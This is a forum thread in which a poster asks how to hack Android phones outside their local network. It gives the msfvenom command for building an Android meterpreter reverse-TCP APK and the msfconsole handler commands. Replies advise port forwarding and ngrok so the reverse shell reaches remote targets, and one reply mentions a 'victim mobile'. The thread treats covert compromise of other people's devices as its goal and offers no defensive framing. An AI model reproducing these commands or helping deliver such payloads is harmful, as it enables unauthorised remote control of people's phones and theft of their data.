Forum Thread: Metasploit Payload Problem(Unable to Connect to Target When Target Is Not in Local(Wifi) Connection)

My aim was to hack a android mobile by sending a payload to the target's android device using msfvenom. I entered the following commands in terminal

msfvenom -p android/meterpreter/reverse tcp LHOST=myipaddress LPORT=4444 R hack.apk

There were no problems in creating payload. Then using msfconsole I entered these commands

use multi/handler
set payload android/meterpreter/reverse tcp
set LHOST myipaddress
set LPORT 4444
exploit

To test the payload I installed it on my device and opened the app. Then I was able to start a hack through my computer.

But in this case my computer(linux) device is in wifi connection with my android so I was able to hack my android device but when I turned off the wifi connection in my computer(linux) I was unable to start the hack. Note that there is still Internet connection to my computer(linux) but I was unable to start the hack.

So I figured that the hack would be only started when when the target is is wifi connection. So I want to know if there is any way to hack a device who is not in wifi connection. Should I use RHOST and RPORT. Im a little confused here and I need some help...

5 Responses

You need to port forward your Lport to your Linux computer.

That is because you are in a wireless LAN network. You have to enable port forwarding . Once you move it to WAN, you're good to go. Try using ngrok .

can you tell me how can i go to wan from lan in vmware

Thanks for the help guys. I saw a video on YouTube on how to port forward using ngrok for hacking through payload. Eveything was good but in that video he used LPORT 0.0.0.0 in msfconsole but I didnt clearly understood why he used 0.0.0.0 as LPORT. Anyway thanks Rex Tyler and Traveler for responding

I can't connect the victim mobile

Share Your Thoughts

  • Hot
  • Active